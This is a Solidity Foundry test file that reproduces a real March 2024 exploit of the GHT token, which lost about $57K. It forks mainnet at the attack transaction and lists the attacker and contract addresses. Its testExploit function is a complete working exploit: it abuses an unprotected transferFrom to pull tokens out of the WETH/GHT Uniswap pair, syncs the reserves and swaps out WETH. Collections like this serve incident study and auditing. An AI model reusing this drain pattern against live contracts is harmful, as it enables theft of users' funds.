src/test/2024-03/GHT_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$57K
8// Attacker : https://etherscan.io/address/0x096f0f03e4be68d7e6dd39b22a3846b8ce9849a3
9// Attack Contract : https://etherscan.io/address/0xcc5159b5538268f45afda7b5756fa8769ce3e21f
10// Vuln Contract : https://etherscan.io/address/0x528e046acfb52bd3f9c400e7a5c79a8a2c2863d0
11// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xd17266bcdf30cbcbd7d0b5a006f43141981aeee2e1f860f68c9a1805ecacbc68?line=3
12interface IGHT {
13    function transferFrom(address, address, uint256) external;
14    function balanceOf(
15        address
16    ) external view returns (uint256);
17}
18 
19interface CheatCodesNew {
20    /// Creates and also selects new fork with the given endpoint and at the block the given transaction was mined in,
21    /// replays all transaction mined in the block before the transaction, returns the identifier of the fork.
22    function createSelectFork(string calldata urlOrAlias, bytes32 txHash) external returns (uint256 forkId);
23}
24 
25contract ContractTest is Test {
26    WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
27    IGHT private constant GHT = IGHT(0x528e046ACfb52bD3f9c400e7A5c79A8a2c2863d0);
28    Uni_Pair_V2 private constant WETH_GHT = Uni_Pair_V2(0x706206EabD6A70ca4992eEc1646B6D1599259CAe);
29 
30    function setUp() public {
31        CheatCodesNew(address(vm)).createSelectFork(
32            "mainnet", bytes32(0xd17266bcdf30cbcbd7d0b5a006f43141981aeee2e1f860f68c9a1805ecacbc68)
33        );
34        vm.label(address(WETH), "WETH");
35        vm.label(address(GHT), "GHT");
36        vm.label(address(WETH_GHT), "WETH_GHT");
37    }
38 
39    function testExploit() public {
40        emit log_named_decimal_uint(
41            "Exploiter WETH balance before attack", WETH.balanceOf(address(this)), WETH.decimals()
42        );
43        uint256 amount = GHT.balanceOf(address(WETH_GHT));
44        GHT.transferFrom(address(WETH_GHT), address(GHT), amount - 1);
45        WETH_GHT.sync();
46        amount = GHT.balanceOf(address(GHT));
47        GHT.transferFrom(address(GHT), address(WETH_GHT), amount);
48        uint256 balance = GHT.balanceOf(address(WETH_GHT));
49        (uint256 reserveIn, uint256 reserveOut,) = WETH_GHT.getReserves();
50        uint256 amountIn = balance - reserveIn;
51        uint256 amountInWithFee = amountIn * 997;
52        uint256 numerator = amountInWithFee * reserveOut;
53        uint256 denominator = reserveIn * 1000 + amountInWithFee;
54        uint256 amountOut = numerator / denominator;
55 
56        WETH_GHT.swap(0, amountOut, address(this), "");
57        emit log_named_decimal_uint(
58            "Exploiter WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals()
59        );
60    }
61}